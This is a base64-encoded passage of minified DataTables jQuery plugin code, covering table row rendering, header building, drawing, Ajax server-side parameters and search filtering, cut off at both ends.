ywiLiIpfSl9dmFyIEE9Qy51dGlsLmdldCxiPUMudXRpbC5zZXQ7ZnVuY3Rpb24gaHQodCl7cmV0dXJuIEgodC5hb0RhdGEsIl9hRGF0YSIpfWZ1bmN0aW9uIHB0KHQpe3QuYW9EYXRhLmxlbmd0aD0wLHQuYWlEaXNwbGF5TWFzdGVyLmxlbmd0aD0wLHQuYWlEaXNwbGF5Lmxlbmd0aD0wLHQuYUlkcz17fX1mdW5jdGlvbiBndCh0LGUsbil7Zm9yKHZhciBhPS0xLHI9MCxvPXQubGVuZ3RoO3I8bztyKyspdFtyXT09ZT9hPXI6dFtyXT5lJiZ0W3JdLS07LTEhPWEmJm49PT1OJiZ0LnNwbGljZShhLDEpfWZ1bmN0aW9uIGJ0KG4sYSx0LGUpe2Z1bmN0aW9uIHIodCxlKXtmb3IoO3QuY2hpbGROb2Rlcy5sZW5ndGg7KXQucmVtb3ZlQ2hpbGQodC5maXJzdENoaWxkKTt0LmlubmVySFRNTD1TKG4sYSxlLCJkaXNwbGF5Iil9dmFyIG8saSxsPW4uYW9EYXRhW2FdO2lmKCJkb20iIT09dCYmKHQmJiJhdXRvIiE9PXR8fCJkb20iIT09bC5zcmMpKXt2YXIgcz1sLmFuQ2VsbHM7aWYocylpZihlIT09TilyKHNbZV0sZSk7ZWxzZSBmb3Iobz0wLGk9cy5sZW5ndGg7bzxpO28rKylyKHNbb10sbyl9ZWxzZSBsLl9hRGF0YT1tdChuLGwsZSxlPT09Tj9OOmwuX2FEYXRhKS5kYXRhO2wuX2FTb3J0RGF0YT1udWxsLGwuX2FGaWx0ZXJEYXRhPW51bGw7dmFyIHU9bi5hb0NvbHVtbnM7aWYoZSE9PU4pdVtlXS5zVHlwZT1udWxsO2Vsc2V7Zm9yKG89MCxpPXUubGVuZ3RoO288aTtvKyspdVtvXS5zVHlwZT1udWxsO3Z0KG4sbCl9fWZ1bmN0aW9uIG10KHQsZSxuLGEpe2Z1bmN0aW9uIHIodCxlKXt2YXIgbjsic3RyaW5nIj09dHlwZW9mIHQmJi0xIT09KG49dC5pbmRleE9mKCJAIikpJiYobj10LnN1YnN0cmluZyhuKzEpLGIodCkoYSxlLmdldEF0dHJpYnV0ZShuKSkpfWZ1bmN0aW9uIG8odCl7biE9PU4mJm4hPT1mfHwobD1kW2ZdLHM9dC5pbm5lckhUTUwudHJpbSgpLGwmJmwuX2JBdHRyU3JjPyhiKGwubURhdGEuXykoYSxzKSxyKGwubURhdGEuc29ydCx0KSxyKGwubURhdGEudHlwZSx0KSxyKGwubURhdGEuZmlsdGVyLHQpKTpoPyhsLl9zZXR0ZXJ8fChsLl9zZXR0ZXI9YihsLm1EYXRhKSksbC5fc2V0dGVyKGEscykpOmFbZl09cyksZisrfXZhciBpLGwscyx1PVtdLGM9ZS5maXJzdENoaWxkLGY9MCxkPXQuYW9Db2x1bW5zLGg9dC5fcm93UmVhZE9iamVjdDthPWEhPT1OP2E6aD97fTpbXTtpZihjKWZvcig7YzspIlREIiE9KGk9Yy5ub2RlTmFtZS50b1VwcGVyQ2FzZSgpKSYmIlRIIiE9aXx8KG8oYyksdS5wdXNoKGMpKSxjPWMubmV4dFNpYmxpbmc7ZWxzZSBmb3IodmFyIHA9MCxnPSh1PWUuYW5DZWxscykubGVuZ3RoO3A8ZztwKyspbyh1W3BdKTt2YXIgZT1lLmZpcnN0Q2hpbGQ/ZTplLm5UcjtyZXR1cm4gZSYmKGU9ZS5nZXRBdHRyaWJ1dGUoImlkIikpJiZiKHQucm93SWQpKGEsZSkse2RhdGE6YSxjZWxsczp1fX1mdW5jdGlvbiBTdCh0LGUsbixhKXt2YXIgcixvLGksbCxzLHUsYz10LmFvRGF0YVtlXSxmPWMuX2FEYXRhLGQ9W107aWYobnVsbD09PWMublRyKXtmb3Iocj1ufHx2LmNyZWF0ZUVsZW1lbnQoInRyIiksYy5uVHI9cixjLmFuQ2VsbHM9ZCxyLl9EVF9Sb3dJbmRleD1lLHZ0KHQsYyksbD0wLHM9dC5hb0NvbHVtbnMubGVuZ3RoO2w8cztsKyspaT10LmFvQ29sdW1uc1tsXSwobz0odT0hbik/di5jcmVhdGVFbGVtZW50KGkuc0NlbGxUeXBlKTphW2xdKXx8Vyh0LDAsIkluY29ycmVjdCBjb2x1bW4gY291bnQiLDE4KSxvLl9EVF9DZWxsSW5kZXg9e3JvdzplLGNvbHVtbjpsfSxkLnB1c2gobyksIXUmJighaS5tUmVuZGVyJiZpLm1EYXRhPT09bHx8UC5pc1BsYWluT2JqZWN0KGkubURhdGEpJiZpLm1EYXRhLl89PT1sKyIuZGlzcGxheSIpfHwoby5pbm5lckhUTUw9Uyh0LGUsbCwiZGlzcGxheSIpKSxpLnNDbGFzcyYmKG8uY2xhc3NOYW1lKz0iICIraS5zQ2xhc3MpLGkuYlZpc2libGUmJiFuP3IuYXBwZW5kQ2hpbGQobyk6IWkuYlZpc2libGUmJm4mJm8ucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChvKSxpLmZuQ3JlYXRlZENlbGwmJmkuZm5DcmVhdGVkQ2VsbC5jYWxsKHQub0luc3RhbmNlLG8sUyh0LGUsbCksZixlLGwpO1IodCwiYW9Sb3dDcmVhdGVkQ2FsbGJhY2siLG51bGwsW3IsZixlLGRdKX19ZnVuY3Rpb24gdnQodCxlKXt2YXIgbj1lLm5UcixhPWUuX2FEYXRhO24mJigodD10LnJvd0lkRm4oYSkpJiYobi5pZD10KSxhLkRUX1Jvd0NsYXNzJiYodD1hLkRUX1Jvd0NsYXNzLnNwbGl0KCIgIiksZS5fX3Jvd2M9ZS5fX3Jvd2M/eihlLl9fcm93Yy5jb25jYXQodCkpOnQsUChuKS5yZW1vdmVDbGFzcyhlLl9fcm93Yy5qb2luKCIgIikpLmFkZENsYXNzKGEuRFRfUm93Q2xhc3MpKSxhLkRUX1Jvd0F0dHImJlAobikuYXR0cihhLkRUX1Jvd0F0dHIpLGEuRFRfUm93RGF0YSkmJlAobikuZGF0YShhLkRUX1Jvd0RhdGEpfWZ1bmN0aW9uIHl0KHQpe3ZhciBlLG4sYSxyPXQublRIZWFkLG89dC5uVEZvb3QsaT0wPT09UCgidGgsIHRkIixyKS5sZW5ndGgsbD10Lm9DbGFzc2VzLHM9dC5hb0NvbHVtbnM7Zm9yKGkmJihuPVAoIjx0ci8+IikuYXBwZW5kVG8ocikpLGM9MCxmPXMubGVuZ3RoO2M8ZjtjKyspYT1zW2NdLGU9UChhLm5UaCkuYWRkQ2xhc3MoYS5zQ2xhc3MpLGkmJmUuYXBwZW5kVG8obiksdC5vRmVhdHVyZXMuYlNvcnQmJihlLmFkZENsYXNzKGEuc1NvcnRpbmdDbGFzcyksITEhPT1hLmJTb3J0YWJsZSkmJihlLmF0dHIoInRhYmluZGV4Iix0LmlUYWJJbmRleCkuYXR0cigiYXJpYS1jb250cm9scyIsdC5zVGFibGVJZCksdWUodCxhLm5UaCxjKSksYS5zVGl0bGUhPWVbMF0uaW5uZXJIVE1MJiZlLmh0bWwoYS5zVGl0bGUpLHZlKHQsImhlYWRlciIpKHQsZSxhLGwpO2lmKGkmJkN0KHQuYW9IZWFkZXIsciksUChyKS5jaGlsZHJlbigidHIiKS5jaGlsZHJlbigidGgsIHRkIikuYWRkQ2xhc3MobC5zSGVhZGVyVEgpLFAobykuY2hpbGRyZW4oInRyIikuY2hpbGRyZW4oInRoLCB0ZCIpLmFkZENsYXNzKGwuc0Zvb3RlclRIKSxudWxsIT09bylmb3IodmFyIHU9dC5hb0Zvb3RlclswXSxjPTAsZj11Lmxlbmd0aDtjPGY7YysrKShhPXNbY10pPyhhLm5UZj11W2NdLmNlbGwsYS5zQ2xhc3MmJlAoYS5uVGYpLmFkZENsYXNzKGEuc0NsYXNzKSk6Vyh0LDAsIkluY29ycmVjdCBjb2x1bW4gY291bnQiLDE4KX1mdW5jdGlvbiBEdCh0LGUsbil7dmFyIGEscixvLGksbCxzLHUsYyxmLGQ9W10saD1bXSxwPXQuYW9Db2x1bW5zLmxlbmd0aDtpZihlKXtmb3Iobj09PU4mJihuPSExKSxhPTAscj1lLmxlbmd0aDthPHI7YSsrKXtmb3IoZFthXT1lW2FdLnNsaWNlKCksZFthXS5uVHI9ZVthXS5uVHIsbz1wLTE7MDw9bztvLS0pdC5hb0NvbHVtbnNbb10uYlZpc2libGV8fG58fGRbYV0uc3BsaWNlKG8sMSk7aC5wdXNoKFtdKX1mb3IoYT0wLHI9ZC5sZW5ndGg7YTxyO2ErKyl7aWYodT1kW2FdLm5Ucilmb3IoO3M9dS5maXJzdENoaWxkOyl1LnJlbW92ZUNoaWxkKHMpO2ZvcihvPTAsaT1kW2FdLmxlbmd0aDtvPGk7bysrKWlmKGY9Yz0xLGhbYV1bb109PT1OKXtmb3IodS5hcHBlbmRDaGlsZChkW2FdW29dLmNlbGwpLGhbYV1bb109MTtkW2ErY10hPT1OJiZkW2FdW29dLmNlbGw9PWRbYStjXVtvXS5jZWxsOyloW2ErY11bb109MSxjKys7Zm9yKDtkW2FdW28rZl0hPT1OJiZkW2FdW29dLmNlbGw9PWRbYV1bbytmXS5jZWxsOyl7Zm9yKGw9MDtsPGM7bCsrKWhbYStsXVtvK2ZdPTE7ZisrfVAoZFthXVtvXS5jZWxsKS5hdHRyKCJyb3dzcGFuIixjKS5hdHRyKCJjb2xzcGFuIixmKX19fX1mdW5jdGlvbiB5KHQsZSl7bj0ic3NwIj09RShzPXQpLChsPXMuaUluaXREaXNwbGF5U3RhcnQpIT09TiYmLTEhPT1sJiYocy5faURpc3BsYXlTdGFydD0hbiYmbD49cy5mblJlY29yZHNEaXNwbGF5KCk/MDpsLHMuaUluaXREaXNwbGF5U3RhcnQ9LTEpO3ZhciBuPVIodCwiYW9QcmVEcmF3Q2FsbGJhY2siLCJwcmVEcmF3IixbdF0pO2lmKC0xIT09UC5pbkFycmF5KCExLG4pKUQodCwhMSk7ZWxzZXt2YXIgYT1bXSxyPTAsbz10LmFzU3RyaXBlQ2xhc3NlcyxpPW8ubGVuZ3RoLGw9dC5vTGFuZ3VhZ2Uscz0ic3NwIj09RSh0KSx1PXQuYWlEaXNwbGF5LG49dC5faURpc3BsYXlTdGFydCxjPXQuZm5EaXNwbGF5RW5kKCk7aWYodC5iRHJhd2luZz0hMCx0LmJEZWZlckxvYWRpbmcpdC5iRGVmZXJMb2FkaW5nPSExLHQuaURyYXcrKyxEKHQsITEpO2Vsc2UgaWYocyl7aWYoIXQuYkRlc3Ryb3lpbmcmJiFlKXJldHVybiB2b2lkIHh0KHQpfWVsc2UgdC5pRHJhdysrO2lmKDAhPT11Lmxlbmd0aClmb3IodmFyIGY9cz90LmFvRGF0YS5sZW5ndGg6YyxkPXM/MDpuO2Q8ZjtkKyspe3ZhciBoLHA9dVtkXSxnPXQuYW9EYXRhW3BdLGI9KG51bGw9PT1nLm5UciYmU3QodCxwKSxnLm5Ucik7MCE9PWkmJihoPW9bciVpXSxnLl9zUm93U3RyaXBlIT1oKSYmKFAoYikucmVtb3ZlQ2xhc3MoZy5fc1Jvd1N0cmlwZSkuYWRkQ2xhc3MoaCksZy5fc1Jvd1N0cmlwZT1oKSxSKHQsImFvUm93Q2FsbGJhY2siLG51bGwsW2IsZy5fYURhdGEscixkLHBdKSxhLnB1c2goYikscisrfWVsc2V7ZT1sLnNaZXJvUmVjb3JkczsxPT10LmlEcmF3JiYiYWpheCI9PUUodCk/ZT1sLnNMb2FkaW5nUmVjb3JkczpsLnNFbXB0eVRhYmxlJiYwPT09dC5mblJlY29yZHNUb3RhbCgpJiYoZT1sLnNFbXB0eVRhYmxlKSxhWzBdPVAoIjx0ci8+Iix7Y2xhc3M6aT9vWzBdOiIifSkuYXBwZW5kKFAoIjx0ZCAvPiIse3ZhbGlnbjoidG9wIixjb2xTcGFuOlQodCksY2xhc3M6dC5vQ2xhc3Nlcy5zUm93RW1wdHl9KS5odG1sKGUpKVswXX1SKHQsImFvSGVhZGVyQ2FsbGJhY2siLCJoZWFkZXIiLFtQKHQublRIZWFkKS5jaGlsZHJlbigidHIiKVswXSxodCh0KSxuLGMsdV0pLFIodCwiYW9Gb290ZXJDYWxsYmFjayIsImZvb3RlciIsW1AodC5uVEZvb3QpLmNoaWxkcmVuKCJ0ciIpWzBdLGh0KHQpLG4sYyx1XSk7cz1QKHQublRCb2R5KTtzLmNoaWxkcmVuKCkuZGV0YWNoKCkscy5hcHBlbmQoUChhKSksUih0LCJhb0RyYXdDYWxsYmFjayIsImRyYXciLFt0XSksdC5iU29ydGVkPSExLHQuYkZpbHRlcmVkPSExLHQuYkRyYXdpbmc9ITF9fWZ1bmN0aW9uIHUodCxlKXt2YXIgbj10Lm9GZWF0dXJlcyxhPW4uYlNvcnQsbj1uLmJGaWx0ZXI7YSYmaWUodCksbj9SdCh0LHQub1ByZXZpb3VzU2VhcmNoKTp0LmFpRGlzcGxheT10LmFpRGlzcGxheU1hc3Rlci5zbGljZSgpLCEwIT09ZSYmKHQuX2lEaXNwbGF5U3RhcnQ9MCksdC5fZHJhd0hvbGQ9ZSx5KHQpLHQuX2RyYXdIb2xkPSExfWZ1bmN0aW9uIF90KHQpe2Zvcih2YXIgZSxuLGEscixvLGksbCxzPXQub0NsYXNzZXMsdT1QKHQublRhYmxlKSx1PVAoIjxkaXYvPiIpLmluc2VydEJlZm9yZSh1KSxjPXQub0ZlYXR1cmVzLGY9UCgiPGRpdi8+Iix7aWQ6dC5zVGFibGVJZCsiX3dyYXBwZXIiLGNsYXNzOnMuc1dyYXBwZXIrKHQublRGb290PyIiOiIgIitzLnNOb0Zvb3Rlcil9KSxkPSh0Lm5Ib2xkaW5nPXVbMF0sdC5uVGFibGVXcmFwcGVyPWZbMF0sdC5uVGFibGVSZWluc2VydEJlZm9yZT10Lm5UYWJsZS5uZXh0U2libGluZyx0LnNEb20uc3BsaXQoIiIpKSxoPTA7aDxkLmxlbmd0aDtoKyspe2lmKGU9bnVsbCwiPCI9PShuPWRbaF0pKXtpZihhPVAoIjxkaXYvPiIpWzBdLCInIj09KHI9ZFtoKzFdKXx8JyInPT1yKXtmb3Iobz0iIixpPTI7ZFtoK2ldIT1yOylvKz1kW2graV0saSsrOyJIIj09bz9vPXMuc0pVSUhlYWRlcjoiRiI9PW8mJihvPXMuc0pVSUZvb3RlciksLTEhPW8uaW5kZXhPZigiLiIpPyhsPW8uc3BsaXQoIi4iKSxhLmlkPWxbMF0uc3Vic3RyKDEsbFswXS5sZW5ndGgtMSksYS5jbGFzc05hbWU9bFsxXSk6IiMiPT1vLmNoYXJBdCgwKT9hLmlkPW8uc3Vic3RyKDEsby5sZW5ndGgtMSk6YS5jbGFzc05hbWU9byxoKz1pfWYuYXBwZW5kKGEpLGY9UChhKX1lbHNlIGlmKCI+Ij09bilmPWYucGFyZW50KCk7ZWxzZSBpZigibCI9PW4mJmMuYlBhZ2luYXRlJiZjLmJMZW5ndGhDaGFuZ2UpZT0kdCh0KTtlbHNlIGlmKCJmIj09biYmYy5iRmlsdGVyKWU9THQodCk7ZWxzZSBpZigiciI9PW4mJmMuYlByb2Nlc3NpbmcpZT1adCh0KTtlbHNlIGlmKCJ0Ij09billPUt0KHQpO2Vsc2UgaWYoImkiPT1uJiZjLmJJbmZvKWU9VXQodCk7ZWxzZSBpZigicCI9PW4mJmMuYlBhZ2luYXRlKWU9enQodCk7ZWxzZSBpZigwIT09Qy5leHQuZmVhdHVyZS5sZW5ndGgpZm9yKHZhciBwPUMuZXh0LmZlYXR1cmUsZz0wLGI9cC5sZW5ndGg7ZzxiO2crKylpZihuPT1wW2ddLmNGZWF0dXJlKXtlPXBbZ10uZm5Jbml0KHQpO2JyZWFrfWUmJigobD10LmFhbkZlYXR1cmVzKVtuXXx8KGxbbl09W10pLGxbbl0ucHVzaChlKSxmLmFwcGVuZChlKSl9dS5yZXBsYWNlV2l0aChmKSx0Lm5Ib2xkaW5nPW51bGx9ZnVuY3Rpb24gQ3QodCxlKXt2YXIgbixhLHIsbyxpLGwscyx1LGMsZixkPVAoZSkuY2hpbGRyZW4oInRyIik7Zm9yKHQuc3BsaWNlKDAsdC5sZW5ndGgpLHI9MCxsPWQubGVuZ3RoO3I8bDtyKyspdC5wdXNoKFtdKTtmb3Iocj0wLGw9ZC5sZW5ndGg7cjxsO3IrKylmb3IoYT0obj1kW3JdKS5maXJzdENoaWxkO2E7KXtpZigiVEQiPT1hLm5vZGVOYW1lLnRvVXBwZXJDYXNlKCl8fCJUSCI9PWEubm9kZU5hbWUudG9VcHBlckNhc2UoKSlmb3IodT0odT0rYS5nZXRBdHRyaWJ1dGUoImNvbHNwYW4iKSkmJjAhPXUmJjEhPXU/dToxLGM9KGM9K2EuZ2V0QXR0cmlidXRlKCJyb3dzcGFuIikpJiYwIT1jJiYxIT1jP2M6MSxzPWZ1bmN0aW9uKHQsZSxuKXtmb3IodmFyIGE9dFtlXTthW25dOyluKys7cmV0dXJuIG59KHQsciwwKSxmPTE9PXUsaT0wO2k8dTtpKyspZm9yKG89MDtvPGM7bysrKXRbcitvXVtzK2ldPXtjZWxsOmEsdW5pcXVlOmZ9LHRbcitvXS5uVHI9bjthPWEubmV4dFNpYmxpbmd9fWZ1bmN0aW9uIHd0KHQsZSxuKXt2YXIgYT1bXTtufHwobj10LmFvSGVhZGVyLGUmJkN0KG49W10sZSkpO2Zvcih2YXIgcj0wLG89bi5sZW5ndGg7cjxvO3IrKylmb3IodmFyIGk9MCxsPW5bcl0ubGVuZ3RoO2k8bDtpKyspIW5bcl1baV0udW5pcXVlfHxhW2ldJiZ0LmJTb3J0Q2VsbHNUb3B8fChhW2ldPW5bcl1baV0uY2VsbCk7cmV0dXJuIGF9ZnVuY3Rpb24gVHQocix0LG4pe2Z1bmN0aW9uIGUodCl7dmFyIGU9ci5qcVhIUj9yLmpxWEhSLnN0YXR1czpudWxsOyhudWxsPT09dHx8Im51bWJlciI9PXR5cGVvZiBlJiYyMDQ9PWUpJiZGdChyLHQ9e30sW10pLChlPXQuZXJyb3J8fHQuc0Vycm9yKSYmVyhyLDAsZSksci5qc29uPXQsUihyLG51bGwsInhociIsW3IsdCxyLmpxWEhSXSksbih0KX1SKHIsImFvU2VydmVyUGFyYW1zIiwic2VydmVyUGFyYW1zIixbdF0pLHQmJkFycmF5LmlzQXJyYXkodCkmJihhPXt9LG89LyguKj8pXFtcXSQvLFAuZWFjaCh0LGZ1bmN0aW9uKHQsZSl7dmFyIG49ZS5uYW1lLm1hdGNoKG8pO24/KG49blswXSxhW25dfHwoYVtuXT1bXSksYVtuXS5wdXNoKGUudmFsdWUpKTphW2UubmFtZV09ZS52YWx1ZX0pLHQ9YSk7dmFyIGEsbyxpLGw9ci5hamF4LHM9ci5vSW5zdGFuY2UsdT0oUC5pc1BsYWluT2JqZWN0KGwpJiZsLmRhdGEmJih1PSJmdW5jdGlvbiI9PXR5cGVvZihpPWwuZGF0YSk/aSh0LHIpOmksdD0iZnVuY3Rpb24iPT10eXBlb2YgaSYmdT91OlAuZXh0ZW5kKCEwLHQsdSksZGVsZXRlIGwuZGF0YSkse2RhdGE6dCxzdWNjZXNzOmUsZGF0YVR5cGU6Impzb24iLGNhY2hlOiExLHR5cGU6ci5zU2VydmVyTWV0aG9kLGVycm9yOmZ1bmN0aW9uKHQsZSxuKXt2YXIgYT1SKHIsbnVsbCwieGhyIixbcixudWxsLHIuanFYSFJdKTstMT09PVAuaW5BcnJheSghMCxhKSYmKCJwYXJzZXJlcnJvciI9PWU/VyhyLDAsIkludmFsaWQgSlNPTiByZXNwb25zZSIsMSk6ND09PXQucmVhZHlTdGF0ZSYmVyhyLDAsIkFqYXggZXJyb3IiLDcpKSxEKHIsITEpfX0pO3Iub0FqYXhEYXRhPXQsUihyLG51bGwsInByZVhociIsW3IsdF0pLHIuZm5TZXJ2ZXJEYXRhP3IuZm5TZXJ2ZXJEYXRhLmNhbGwocyxyLnNBamF4U291cmNlLFAubWFwKHQsZnVuY3Rpb24odCxlKXtyZXR1cm57bmFtZTplLHZhbHVlOnR9fSksZSxyKTpyLnNBamF4U291cmNlfHwic3RyaW5nIj09dHlwZW9mIGw/ci5qcVhIUj1QLmFqYXgoUC5leHRlbmQodSx7dXJsOmx8fHIuc0FqYXhTb3VyY2V9KSk6ImZ1bmN0aW9uIj09dHlwZW9mIGw/ci5qcVhIUj1sLmNhbGwocyx0LGUscik6KHIuanFYSFI9UC5hamF4KFAuZXh0ZW5kKHUsbCkpLGwuZGF0YT1pKX1mdW5jdGlvbiB4dChlKXtlLmlEcmF3KyssRChlLCEwKSxUdChlLEF0KGUpLGZ1bmN0aW9uKHQpe0l0KGUsdCl9KX1mdW5jdGlvbiBBdCh0KXtmb3IodmFyIGUsbixhLHI9dC5hb0NvbHVtbnMsbz1yLmxlbmd0aCxpPXQub0ZlYXR1cmVzLGw9dC5vUHJldmlvdXNTZWFyY2gscz10LmFvUHJlU2VhcmNoQ29scyx1PVtdLGM9SSh0KSxmPXQuX2lEaXNwbGF5U3RhcnQsZD0hMSE9PWkuYlBhZ2luYXRlP3QuX2lEaXNwbGF5TGVuZ3RoOi0xLGg9ZnVuY3Rpb24odCxlKXt1LnB1c2goe25hbWU6dCx2YWx1ZTplfSl9LHA9KGgoInNFY2hvIix0LmlEcmF3KSxoKCJpQ29sdW1ucyIsbyksaCgic0NvbHVtbnMiLEgociwic05hbWUiKS5qb2luKCIsIikpLGgoImlEaXNwbGF5U3RhcnQiLGYpLGgoImlEaXNwbGF5TGVuZ3RoIixkKSx7ZHJhdzp0LmlEcmF3LGNvbHVtbnM6W10sb3JkZXI6W10sc3RhcnQ6ZixsZW5ndGg6ZCxzZWFyY2g6e3ZhbHVlOmwuc1NlYXJjaCxyZWdleDpsLmJSZWdleH19KSxnPTA7ZzxvO2crKyluPXJbZ10sYT1zW2ddLGU9ImZ1bmN0aW9uIj09dHlwZW9mIG4ubURhdGE/ImZ1bmN0aW9uIjpuLm1EYXRhLHAuY29sdW1ucy5wdXNoKHtkYXRhOmUsbmFtZTpuLnNOYW1lLHNlYXJjaGFibGU6bi5iU2VhcmNoYWJsZSxvcmRlcmFibGU6bi5iU29ydGFibGUsc2VhcmNoOnt2YWx1ZTphLnNTZWFyY2gscmVnZXg6YS5iUmVnZXh9fSksaCgibURhdGFQcm9wXyIrZyxlKSxpLmJGaWx0ZXImJihoKCJzU2VhcmNoXyIrZyxhLnNTZWFyY2gpLGgoImJSZWdleF8iK2csYS5iUmVnZXgpLGgoImJTZWFyY2hhYmxlXyIrZyxuLmJTZWFyY2hhYmxlKSksaS5iU29ydCYmaCgiYlNvcnRhYmxlXyIrZyxuLmJTb3J0YWJsZSk7aS5iRmlsdGVyJiYoaCgic1NlYXJjaCIsbC5zU2VhcmNoKSxoKCJiUmVnZXgiLGwuYlJlZ2V4KSksaS5iU29ydCYmKFAuZWFjaChjLGZ1bmN0aW9uKHQsZSl7cC5vcmRlci5wdXNoKHtjb2x1bW46ZS5jb2wsZGlyOmUuZGlyfSksaCgiaVNvcnRDb2xfIit0LGUuY29sKSxoKCJzU29ydERpcl8iK3QsZS5kaXIpfSksaCgiaVNvcnRpbmdDb2xzIixjLmxlbmd0aCkpO2Y9Qy5leHQubGVnYWN5LmFqYXg7cmV0dXJuIG51bGw9PT1mP3Quc0FqYXhTb3VyY2U/dTpwOmY/dTpwfWZ1bmN0aW9uIEl0KHQsbil7ZnVuY3Rpb24gZSh0LGUpe3JldHVybiBuW3RdIT09Tj9uW3RdOm5bZV19dmFyIGE9RnQodCxuKSxyPWUoInNFY2hvIiwiZHJhdyIpLG89ZSgiaVRvdGFsUmVjb3JkcyIsInJlY29yZHNUb3RhbCIpLGk9ZSgiaVRvdGFsRGlzcGxheVJlY29yZHMiLCJyZWNvcmRzRmlsdGVyZWQiKTtpZihyIT09Til7aWYoK3I8dC5pRHJhdylyZXR1cm47dC5pRHJhdz0rcn1hPWF8fFtdLHB0KHQpLHQuX2lSZWNvcmRzVG90YWw9cGFyc2VJbnQobywxMCksdC5faVJlY29yZHNEaXNwbGF5PXBhcnNlSW50KGksMTApO2Zvcih2YXIgbD0wLHM9YS5sZW5ndGg7bDxzO2wrKyl4KHQsYVtsXSk7dC5haURpc3BsYXk9dC5haURpc3BsYXlNYXN0ZXIuc2xpY2UoKSx5KHQsITApLHQuX2JJbml0Q29tcGxldGV8fHF0KHQsbiksRCh0LCExKX1mdW5jdGlvbiBGdCh0LGUsbil7dD1QLmlzUGxhaW5PYmplY3QodC5hamF4KSYmdC5hamF4LmRhdGFTcmMhPT1OP3QuYWpheC5kYXRhU3JjOnQuc0FqYXhEYXRhUHJvcDtpZighbilyZXR1cm4iZGF0YSI9PT10P2UuYWFEYXRhfHxlW3RdOiIiIT09dD9BKHQpKGUpOmU7Yih0KShlLG4pfWZ1bmN0aW9uIEx0KG4pe2Z1bmN0aW9uIGUodCl7aS5mO3ZhciBlPXRoaXMudmFsdWV8fCIiO28ucmV0dXJuJiYiRW50ZXIiIT09dC5rZXl8fGUhPW8uc1NlYXJjaCYmKFJ0KG4se3NTZWFyY2g6ZSxiUmVnZXg6by5iUmVnZXgsYlNtYXJ0Om8uYlNtYXJ0LGJDYXNlSW5zZW5zaXRpdmU6by5iQ2FzZUluc2Vuc2l0aXZlLHJldHVybjpvLnJldHVybn0pLG4uX2lEaXNwbGF5U3RhcnQ9MCx5KG4pKX12YXIgdD1uLm9DbGFzc2VzLGE9bi5zVGFibGVJZCxyPW4ub0xhbmd1YWdlLG89bi5vUHJldmlvdXNTZWFyY2gsaT1uLmFhbkZlYXR1cmVzLGw9JzxpbnB1dCB0eXBlPSJzZWFyY2giIGNsYXNzPSInK3Quc0ZpbHRlcklucHV0KyciLz4nLHM9KHM9ci5zU2VhcmNoKS5tYXRjaCgvX0lOUFVUXy8pP3MucmVwbGFjZSgiX0lOUFVUXyIsbCk6cytsLGw9UCgiPGRpdi8+Iix7aWQ6aS5mP251bGw6YSsiX2ZpbHRlciIsY2xhc3M6dC5zRmlsdGVyfSkuYXBwZW5kKFAoIjxsYWJlbC8+IikuYXBwZW5kKHMpKSx0PW51bGwhPT1uLnNlYXJjaERlbGF5P24uc2VhcmNoRGVsYXk6InNzcCI9PT1FKG4pPzQwMDowLHU9UCgiaW5wdXQiLGwpLnZhbChvLnNTZWFyY2gpLmF0dHIoInBsYWNlaG9sZGVyIixyLnNTZWFyY2hQbGFjZWhvbGRlcikub24oImtleXVwLkRUIHNlYXJjaC5EVCBpbnB1dC5EVCBwYXN0ZS5EVCBjdXQuRFQiLHQ/bmUoZSx0KTplKS5vbigibW91c2V1cCIsZnVuY3Rpb24odCl7c2V0VGltZW91dChmdW5jdGlvbigpe2UuY2FsbCh1WzBdLHQpfSwxMCl9KS5vbigia2V5cHJlc3MuRFQiLGZ1bmN0aW9uKHQpe2lmKDEzPT10LmtleUNvZGUpcmV0dXJuITF9KS5hdHRyKCJhcmlhLWNvbnRyb2xzIixhKTtyZXR1cm4gUChuLm5UYWJsZSkub24oInNlYXJjaC5kdC5EVCIsZnVuY3Rpb24odCxlKXtpZihuPT09ZSl0cnl7dVswXSE9PXYuYWN0aXZlRWxlbWVudCYmdS52YWwoby5zU2VhcmNoKX1jYXRjaCh0KXt9fSksbFswXX1mdW5jdGlvbiBSdCh0LGUsbil7ZnVuY3Rpb24gYSh0KXtvLnNTZWFyY2g9dC5zU2VhcmNoLG8uYlJlZ2V4PXQuYlJlZ2V4LG8uYlNtYXJ0PXQuYlNtYXJ0LG8uYkNhc2VJbnNlbnNpdGl2ZT10LmJDYXNlSW5zZW5zaXRpdmUsby5yZXR1cm49dC5yZXR1cm59ZnVuY3Rpb24gcih0KXtyZXR1cm4gdC5iRXNjYXBlUmVnZXghPT1OPyF0LmJFc2NhcGVSZWdleDp0LmJSZWdleH12YXIgbz10Lm9QcmV2aW91c1NlYXJjaCxpPXQuYW9QcmVTZWFyY2hDb2xzO2lmKGx0KHQpLCJzc3AiIT1FKHQpKXtOdCh0LGUuc1NlYXJjaCxuLHIoZSksZS5iU21hcnQsZS5iQ2FzZUluc2Vuc2l0aXZlLGUucmV0dXJuKSxhKGUpO2Zvcih2YXIgbD0wO2w8aS5sZW5ndGg7bCsrKWp0KHQsaVtsXS5zU2VhcmNoLGwscihpW2xdKSxpW2xdLmJTbWFydCxpW2xdLmJDYXNlSW5zZW5zaXRpdmUpO1B0KHQpfWVsc2UgYShlKTt0LmJGaWx0ZXJlZD0hMCxSKHQsbnVsbCwic2VhcmNoIixbdF0pfWZ1bmN0aW9uIFB0KHQpe2Zvcih2YXIgZSxuLGE9Qy5leHQuc2VhcmNoLHI9dC5haURpc3BsYXksbz0wLGk9YS5sZW5ndGg7bzxpO28rKyl7Zm9yKHZhciBsPVtdLHM9MCx1PXIubGVuZ3RoO3M8dTtzKyspbj1yW3NdLGU9dC5hb0RhdGFbbl0sYVtvXSh0LGUuX2FGaWx0ZXJEYXRhLG4sZS5fYURhdGEscykmJmwucHVzaChuKTtyLmxlbmd0aD0wLFAubWVyZ2UocixsKX19ZnVuY3Rpb24ganQodCxlLG4sYSxyLG8pe2lmKCIiIT09ZSl7Zm9yKHZhciBpLGw9W10scz10LmFpRGlzcGxheSx1PUh0KGUsYSxyLG8pLGM9MDtjPHMubGVuZ3RoO2MrKylpPXQuYW9EYXRhW3NbY11dLl9hRmlsdGVyRGF0YVtuXSx1LnRlc3QoaSkmJmwucHVzaChzW2NdKTt0LmFpRGlzcGxheT1sfX1mdW5jdGlvbiBOdCh0LGUsbixhLHIsbyl7dmFyIGksbCxzLHU9SHQoZSxhLHIsbykscj10Lm9QcmV2aW91c1NlYXJjaC5zU2VhcmNoLG89dC5haURpc3BsYXlNYXN0ZXIsYz1bXTtpZigwIT09Qy5